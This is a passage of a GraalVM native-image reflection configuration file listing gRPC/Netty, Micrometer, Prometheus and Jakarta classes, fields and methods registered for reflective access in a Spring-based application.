{\"name\":\"disconnect\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"io.grpc.netty.shaded.io.netty.channel.ChannelPromise\"] }, {\"name\":\"exceptionCaught\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.lang.Throwable\"] }, {\"name\":\"flush\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] }, {\"name\":\"read\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] }, {\"name\":\"userEventTriggered\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.lang.Object\"] }, {\"name\":\"write\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.lang.Object\",\"io.grpc.netty.shaded.io.netty.channel.ChannelPromise\"] }]\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.handler.proxy.ProxyHandler\",\n  \"methods\":[{\"name\":\"channelActive\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] }, {\"name\":\"channelInactive\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] }, {\"name\":\"channelRead\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.lang.Object\"] }, {\"name\":\"channelReadComplete\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] }, {\"name\":\"connect\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.net.SocketAddress\",\"java.net.SocketAddress\",\"io.grpc.netty.shaded.io.netty.channel.ChannelPromise\"] }, {\"name\":\"exceptionCaught\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.lang.Throwable\"] }, {\"name\":\"flush\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] }, {\"name\":\"write\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.lang.Object\",\"io.grpc.netty.shaded.io.netty.channel.ChannelPromise\"] }]\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.handler.ssl.PemPrivateKey\"\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.handler.ssl.PemValue\"\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.util.AbstractReferenceCounted\",\n  \"fields\":[{\"name\":\"refCnt\"}]\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.util.DefaultAttributeMap\",\n  \"fields\":[{\"name\":\"attributes\"}]\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.util.DefaultAttributeMap$DefaultAttribute\",\n  \"fields\":[{\"name\":\"attributeMap\"}]\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.util.Recycler$DefaultHandle\",\n  \"fields\":[{\"name\":\"state\"}]\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.util.ReferenceCountUtil\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.util.ResourceLeakDetector$DefaultResourceLeak\",\n  \"fields\":[{\"name\":\"droppedRecords\"}, {\"name\":\"head\"}]\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.util.concurrent.DefaultPromise\",\n  \"fields\":[{\"name\":\"result\"}]\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.util.concurrent.SingleThreadEventExecutor\",\n  \"fields\":[{\"name\":\"state\"}, {\"name\":\"threadProperties\"}]\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.util.internal.NativeLibraryUtil\",\n  \"methods\":[{\"name\":\"loadLibrary\",\"parameterTypes\":[\"java.lang.String\",\"boolean\"] }]\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.util.internal.shaded.org.jctools.queues.BaseMpscLinkedArrayQueueColdProducerFields\",\n  \"fields\":[{\"name\":\"producerLimit\"}]\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.util.internal.shaded.org.jctools.queues.BaseMpscLinkedArrayQueueConsumerFields\",\n  \"fields\":[{\"name\":\"consumerIndex\"}]\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.util.internal.shaded.org.jctools.queues.BaseMpscLinkedArrayQueueProducerFields\",\n  \"fields\":[{\"name\":\"producerIndex\"}]\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.util.internal.shaded.org.jctools.queues.MpscArrayQueueConsumerIndexField\",\n  \"fields\":[{\"name\":\"consumerIndex\"}]\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.util.internal.shaded.org.jctools.queues.MpscArrayQueueProducerIndexField\",\n  \"fields\":[{\"name\":\"producerIndex\"}]\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.util.internal.shaded.org.jctools.queues.MpscArrayQueueProducerLimitField\",\n  \"fields\":[{\"name\":\"producerLimit\"}]\n},\n{\n  \"name\":\"io.grpc.okhttp.OkHttpChannelProvider\"\n},\n{\n  \"name\":\"io.grpc.okhttp.OkHttpServerProvider\"\n},\n{\n  \"name\":\"io.grpc.override.ContextStorageOverride\"\n},\n{\n  \"name\":\"io.grpc.stub.ServerCalls\"\n},\n{\n  \"name\":\"io.grpc.stub.ServerCalls$NoopStreamObserver\"\n},\n{\n  \"name\":\"io.grpc.stub.ServerCalls$ServerCallStreamObserverImpl\"\n},\n{\n  \"name\":\"io.grpc.stub.ServerCalls$StreamingServerCallHandler\"\n},\n{\n  \"name\":\"io.grpc.stub.StreamObserver\"\n},\n{\n  \"name\":\"io.grpc.util.MutableHandlerRegistry\"\n},\n{\n  \"name\":\"io.grpc.util.SecretRoundRobinLoadBalancerProvider$Provider\"\n},\n{\n  \"name\":\"io.lettuce.core.metrics.MicrometerCommandLatencyRecorder\"\n},\n{\n  \"name\":\"io.micrometer.appoptics.AppOpticsMeterRegistry\"\n},\n{\n  \"name\":\"io.micrometer.atlas.AtlasMeterRegistry\"\n},\n{\n  \"name\":\"io.micrometer.common.KeyValues\"\n},\n{\n  \"name\":\"io.micrometer.common.lang.NonNullApi\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"io.micrometer.common.lang.NonNullFields\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"io.micrometer.common.lang.Nullable\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"io.micrometer.context.ContextSnapshot\"\n},\n{\n  \"name\":\"io.micrometer.core.annotation.Timed\"\n},\n{\n  \"name\":\"io.micrometer.core.instrument.Clock\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"io.micrometer.core.instrument.Clock$1\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"monotonicTime\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }, {\"name\":\"wallTime\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"io.micrometer.core.instrument.Counter\"\n},\n{\n  \"name\":\"io.micrometer.core.instrument.DistributionSummary\"\n},\n{\n  \"name\":\"io.micrometer.core.instrument.FunctionCounter\"\n},\n{\n  \"name\":\"io.micrometer.core.instrument.FunctionTimer\"\n},\n{\n  \"name\":\"io.micrometer.core.instrument.Gauge\"\n},\n{\n  \"name\":\"io.micrometer.core.instrument.HighCardinalityTagsDetector\"\n},\n{\n  \"name\":\"io.micrometer.core.instrument.LongTaskTimer\"\n},\n{\n  \"name\":\"io.micrometer.core.instrument.Measurement\"\n},\n{\n  \"name\":\"io.micrometer.core.instrument.Meter\"\n},\n{\n  \"name\":\"io.micrometer.core.instrument.Meter$Id\"\n},\n{\n  \"name\":\"io.micrometer.core.instrument.Meter$Type\"\n},\n{\n  \"name\":\"io.micrometer.core.instrument.MeterRegistry\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"clear\",\"parameterTypes\":[] }, {\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"config\",\"parameterTypes\":[] }, {\"name\":\"counter\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.Iterable\"] }, {\"name\":\"counter\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String[]\"] }, {\"name\":\"find\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"forEachMeter\",\"parameterTypes\":[\"java.util.function.Consumer\"] }, {\"name\":\"gauge\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.Iterable\",\"java.lang.Number\"] }, {\"name\":\"gauge\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.Iterable\",\"java.lang.Object\",\"java.util.function.ToDoubleFunction\"] }, {\"name\":\"gauge\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.Number\"] }, {\"name\":\"gauge\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.Object\",\"java.util.function.ToDoubleFunction\"] }, {\"name\":\"gaugeCollectionSize\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.Iterable\",\"java.util.Collection\"] }, {\"name\":\"gaugeMapSize\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.Iterable\",\"java.util.Map\"] }, {\"name\":\"get\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"getMeters\",\"parameterTypes\":[] }, {\"name\":\"isClosed\",\"parameterTypes\":[] }, {\"name\":\"more\",\"parameterTypes\":[] }, {\"name\":\"remove\",\"parameterTypes\":[\"io.micrometer.core.instrument.Meter$Id\"] }, {\"name\":\"remove\",\"parameterTypes\":[\"io.micrometer.core.instrument.Meter\"] }, {\"name\":\"removeByPreFilterId\",\"parameterTypes\":[\"io.micrometer.core.instrument.Meter$Id\"] }, {\"name\":\"summary\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.Iterable\"] }, {\"name\":\"summary\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String[]\"] }, {\"name\":\"timer\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.Iterable\"] }, {\"name\":\"timer\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String[]\"] }]\n},\n{\n  \"name\":\"io.micrometer.core.instrument.MeterRegistry$Config\"\n},\n{\n  \"name\":\"io.micrometer.core.instrument.MeterRegistry$More\"\n},\n{\n  \"name\":\"io.micrometer.core.instrument.Statistic\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"io.micrometer.core.instrument.Tag\"\n},\n{\n  \"name\":\"io.micrometer.core.instrument.TimeGauge\"\n},\n{\n  \"name\":\"io.micrometer.core.instrument.Timer\"\n},\n{\n  \"name\":\"io.micrometer.core.instrument.binder.MeterBinder\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"io.micrometer.core.instrument.binder.jetty.JettyServerThreadPoolMetrics\"\n},\n{\n  \"name\":\"io.micrometer.core.instrument.binder.jvm.ClassLoaderMetrics\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"bindTo\",\"parameterTypes\":[\"io.micrometer.core.instrument.MeterRegistry\"] }, {\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"io.micrometer.core.instrument.binder.jvm.ExecutorServiceMetrics\"\n},\n{\n  \"name\":\"io.micrometer.core.instrument.binder.jvm.JvmCompilationMetrics\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"bindTo\",\"parameterTypes\":[\"io.micrometer.core.instrument.MeterRegistry\"] }, {\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"io.micrometer.core.instrument.binder.jvm.JvmGcMetrics\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"bindTo\",\"parameterTypes\":[\"io.micrometer.core.instrument.MeterRegistry\"] }, {\"name\":\"close\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"io.micrometer.core.instrument.binder.jvm.JvmHeapPressureMetrics\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"bindTo\",\"parameterTypes\":[\"io.micrometer.core.instrument.MeterRegistry\"] }, {\"name\":\"close\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"io.micrometer.core.instrument.binder.jvm.JvmInfoMetrics\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"bindTo\",\"parameterTypes\":[\"io.micrometer.core.instrument.MeterRegistry\"] }, {\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"io.micrometer.core.instrument.binder.jvm.JvmMemoryMetrics\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"bindTo\",\"parameterTypes\":[\"io.micrometer.core.instrument.MeterRegistry\"] }, {\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"io.micrometer.core.instrument.binder.jvm.JvmThreadMetrics\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"bindTo\",\"parameterTypes\":[\"io.micrometer.core.instrument.MeterRegistry\"] }, {\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"io.micrometer.core.instrument.binder.kafka.KafkaClientMetrics\"\n},\n{\n  \"name\":\"io.micrometer.core.instrument.binder.logging.Log4j2Metrics\"\n},\n{\n  \"name\":\"io.micrometer.core.instrument.binder.logging.LogbackMetrics\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"bindTo\",\"parameterTypes\":[\"io.micrometer.core.instrument.MeterRegistry\"] }, {\"name\":\"close\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"io.micrometer.core.instrument.binder.system.FileDescriptorMetrics\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"bindTo\",\"parameterTypes\":[\"io.micrometer.core.instrument.MeterRegistry\"] }, {\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"io.micrometer.core.instrument.binder.system.ProcessorMetrics\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"bindTo\",\"parameterTypes\":[\"io.micrometer.core.instrument.MeterRegistry\"] }, {\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"io.micrometer.core.instrument.binder.system.UptimeMetrics\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"bindTo\",\"parameterTypes\":[\"io.micrometer.core.instrument.MeterRegistry\"] }, {\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"io.micrometer.core.instrument.binder.tomcat.TomcatMetrics\"\n},\n{\n  \"name\":\"io.micrometer.core.instrument.composite.CompositeMeterRegistry\"\n},\n{\n  \"name\":\"io.micrometer.core.instrument.config.MeterFilter\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"map\",\"parameterTypes\":[\"io.micrometer.core.instrument.Meter$Id\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"io.micrometer.core.instrument.config.MeterFilter$9\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"accept\",\"parameterTypes\":[\"io.micrometer.core.instrument.Meter$Id\"] }, {\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"configure\",\"parameterTypes\":[\"io.micrometer.core.instrument.Meter$Id\",\"io.micrometer.core.instrument.distribution.DistributionStatisticConfig\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"io.micrometer.core.instrument.config.MeterFilterReply\"\n},\n{\n  \"name\":\"io.micrometer.core.instrument.config.MeterRegistryConfig\",\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"methods\":[{\"name\":\"get\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"requireValid\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"io.micrometer.core.instrument.config.NamingConvention\"\n},\n{\n  \"name\":\"io.micrometer.core.instrument.config.validate.Validated\"\n},\n{\n  \"name\":\"io.micrometer.core.instrument.config.validate.ValidationException\"\n},\n{\n  \"name\":\"io.micrometer.core.instrument.distribution.DistributionStatisticConfig\"\n},\n{\n  \"name\":\"io.micrometer.core.instrument.distribution.HistogramSupport\"\n},\n{\n  \"name\":\"io.micrometer.core.instrument.distribution.TimeWindowMax\",\n  \"fields\":[{\"name\":\"rotating\"}]\n},\n{\n  \"name\":\"io.micrometer.core.instrument.distribution.TimeWindowSum\",\n  \"fields\":[{\"name\":\"rotating\"}]\n},\n{\n  \"name\":\"io.micrometer.core.instrument.distribution.pause.PauseDetector\"\n},\n{\n  \"name\":\"io.micrometer.core.instrument.observation.DefaultMeterObservationHandler\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"onEvent\",\"parameterTypes\":[\"io.micrometer.observation.Observation$Event\",\"io.micrometer.observation.Observation$Context\"] }, {\"name\":\"onStart\",\"parameterTypes\":[\"io.micrometer.observation.Observation$Context\"] }, {\"name\":\"onStop\",\"parameterTypes\":[\"io.micrometer.observation.Observation$Context\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"io.micrometer.core.instrument.observation.MeterObservationHandler\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"supportsContext\",\"parameterTypes\":[\"io.micrometer.observation.Observation$Context\"] }]\n},\n{\n  \"name\":\"io.micrometer.core.instrument.search.RequiredSearch\"\n},\n{\n  \"name\":\"io.micrometer.core.instrument.search.Search\"\n},\n{\n  \"name\":\"io.micrometer.datadog.DatadogMeterRegistry\"\n},\n{\n  \"name\":\"io.micrometer.dynatrace.DynatraceMeterRegistry\"\n},\n{\n  \"name\":\"io.micrometer.elastic.ElasticMeterRegistry\"\n},\n{\n  \"name\":\"io.micrometer.ganglia.GangliaMeterRegistry\"\n},\n{\n  \"name\":\"io.micrometer.graphite.GraphiteMeterRegistry\"\n},\n{\n  \"name\":\"io.micrometer.humio.HumioMeterRegistry\"\n},\n{\n  \"name\":\"io.micrometer.influx.InfluxMeterRegistry\"\n},\n{\n  \"name\":\"io.micrometer.jmx.JmxMeterRegistry\"\n},\n{\n  \"name\":\"io.micrometer.kairos.KairosMeterRegistry\"\n},\n{\n  \"name\":\"io.micrometer.newrelic.NewRelicMeterRegistry\"\n},\n{\n  \"name\":\"io.micrometer.observation.Observation\"\n},\n{\n  \"name\":\"io.micrometer.observation.Observation$Context\"\n},\n{\n  \"name\":\"io.micrometer.observation.Observation$Event\"\n},\n{\n  \"name\":\"io.micrometer.observation.Observation$Scope\"\n},\n{\n  \"name\":\"io.micrometer.observation.ObservationFilter\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"io.micrometer.observation.ObservationHandler\",\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"methods\":[{\"name\":\"onError\",\"parameterTypes\":[\"io.micrometer.observation.Observation$Context\"] }, {\"name\":\"onScopeClosed\",\"parameterTypes\":[\"io.micrometer.observation.Observation$Context\"] }, {\"name\":\"onScopeOpened\",\"parameterTypes\":[\"io.micrometer.observation.Observation$Context\"] }, {\"name\":\"onScopeReset\",\"parameterTypes\":[\"io.micrometer.observation.Observation$Context\"] }]\n},\n{\n  \"name\":\"io.micrometer.observation.ObservationPredicate\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"io.micrometer.observation.ObservationRegistry\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"io.micrometer.observation.ObservationRegistry$ObservationConfig\"\n},\n{\n  \"name\":\"io.micrometer.observation.SimpleObservationRegistry\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"getCurrentObservation\",\"parameterTypes\":[] }, {\"name\":\"getCurrentObservationScope\",\"parameterTypes\":[] }, {\"name\":\"isNoop\",\"parameterTypes\":[] }, {\"name\":\"observationConfig\",\"parameterTypes\":[] }, {\"name\":\"setCurrentObservationScope\",\"parameterTypes\":[\"io.micrometer.observation.Observation$Scope\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"io.micrometer.observation.annotation.Observed\"\n},\n{\n  \"name\":\"io.micrometer.observation.aop.ObservedAspect\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"io.micrometer.prometheus.HistogramFlavor\"\n},\n{\n  \"name\":\"io.micrometer.prometheus.MicrometerCollector\"\n},\n{\n  \"name\":\"io.micrometer.prometheus.PrometheusConfig\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"prefix\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }, {\"name\":\"validate\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"io.micrometer.prometheus.PrometheusCounter\"\n},\n{\n  \"name\":\"io.micrometer.prometheus.PrometheusDistributionSummary\"\n},\n{\n  \"name\":\"io.micrometer.prometheus.PrometheusMeterRegistry\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"io.micrometer.prometheus.PrometheusTimer\"\n},\n{\n  \"name\":\"io.micrometer.prometheusmetrics.PrometheusMeterRegistry\"\n},\n{\n  \"name\":\"io.micrometer.registry.otlp.OtlpMeterRegistry\"\n},\n{\n  \"name\":\"io.micrometer.signalfx.SignalFxMeterRegistry\"\n},\n{\n  \"name\":\"io.micrometer.stackdriver.StackdriverMeterRegistry\"\n},\n{\n  \"name\":\"io.micrometer.statsd.StatsdMeterRegistry\"\n},\n{\n  \"name\":\"io.micrometer.tracing.Tracer\"\n},\n{\n  \"name\":\"io.micrometer.tracing.otel.bridge.OtelTracer\"\n},\n{\n  \"name\":\"io.netty.buffer.PooledByteBufAllocator\"\n},\n{\n  \"name\":\"io.netty.util.NettyRuntime\"\n},\n{\n  \"name\":\"io.opentelemetry.sdk.OpenTelemetrySdk\"\n},\n{\n  \"name\":\"io.perfmark.impl.SecretPerfMarkImpl$PerfMarkImpl\"\n},\n{\n  \"name\":\"io.prometheus.client.Collector\"\n},\n{\n  \"name\":\"io.prometheus.client.Collector$MetricFamilySamples$Sample\"\n},\n{\n  \"name\":\"io.prometheus.client.Collector$Type\"\n},\n{\n  \"name\":\"io.prometheus.client.CollectorRegistry\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"io.prometheus.client.Predicate\"\n},\n{\n  \"name\":\"io.prometheus.client.exemplars.DefaultExemplarSampler\"\n},\n{\n  \"name\":\"io.prometheus.client.exemplars.Exemplar\"\n},\n{\n  \"name\":\"io.prometheus.client.exemplars.tracer.common.SpanContextSupplier\"\n},\n{\n  \"name\":\"io.prometheus.client.exporter.PushGateway\"\n},\n{\n  \"name\":\"io.r2dbc.pool.ConnectionPool\"\n},\n{\n  \"name\":\"io.r2dbc.proxy.ProxyConnectionFactory\"\n},\n{\n  \"name\":\"io.r2dbc.spi.ConnectionFactory\"\n},\n{\n  \"name\":\"io.reactivex.rxjava3.core.Flowable\"\n},\n{\n  \"name\":\"io.rsocket.RSocket\"\n},\n{\n  \"name\":\"io.rsocket.core.RSocketServer\"\n},\n{\n  \"name\":\"io.smallrye.mutiny.Multi\"\n},\n{\n  \"name\":\"io.undertow.Undertow\"\n},\n{\n  \"name\":\"io.undertow.Undertow$ListenerConfig\"\n},\n{\n  \"name\":\"io.undertow.protocols.ssl.UndertowAcceptingSslChannel\"\n},\n{\n  \"name\":\"io.undertow.websockets.jsr.Bootstrap\"\n},\n{\n  \"name\":\"io.vavr.control.Try\"\n},\n{\n  \"name\":\"jakarta.activation.MimeType\"\n},\n{\n  \"name\":\"jakarta.annotation.ManagedBean\"\n},\n{\n  \"name\":\"jakarta.annotation.PostConstruct\"\n},\n{\n  \"name\":\"jakarta.annotation.PreDestroy\"\n},\n{\n  \"name\":\"jakarta.annotation.Resource\"\n},\n{\n  \"name\":\"jakarta.ejb.EJB\"\n},\n{\n  \"name\":\"jakarta.ejb.TransactionAttribute\"\n},\n{\n  \"name\":\"jakarta.faces.context.FacesContext\"\n},\n{\n  \"name\":\"jakarta.inject.Inject\"\n},\n{\n  \"name\":\"jakarta.inject.Named\"\n},\n{\n  \"name\":\"jakarta.inject.Provider\"\n},\n{\n  \"name\":\"jakarta.inject.Qualifier\"\n},\n{\n  \"name\":\"jakarta.jms.ConnectionFactory\"\n},\n{\n  \"name\":\"jakarta.jms.Message\"\n},\n{\n  \"name\":\"jakarta.json.bind.Jsonb\"\n},\n{\n  \"name\":\"jakarta.persistence.EntityManager\"\n},\n{\n  \"name\":\"jakarta.persistence.EntityManagerFactory\"\n},\n{\n  \"name\":\"jakarta.persistence.PersistenceContext\"\n},\n{\n  \"name\":\"jakarta.servlet.AsyncContext\"\n},\n{\n  \"name\":\"jakarta.servlet.DispatcherType\"\n},\n{\n  \"name\":\"jakarta.servlet.Filter\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"org.springframework.security.web.FilterChainProxy\"] }, {\"name\":\"<init>\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1356/0x000000f001a26bd8\"] }, {\"name\":\"<init>\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1356/0x00000188c99e8a60\"] }, {\"name\":\"<init>\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1357/0x000001e6d19f64c0\"] }, {\"name\":\"<init>\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1362/0x0000007001a1e800\"] }, {\"name\":\"<init>\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1370/0x0000019a3aa20e98\"] 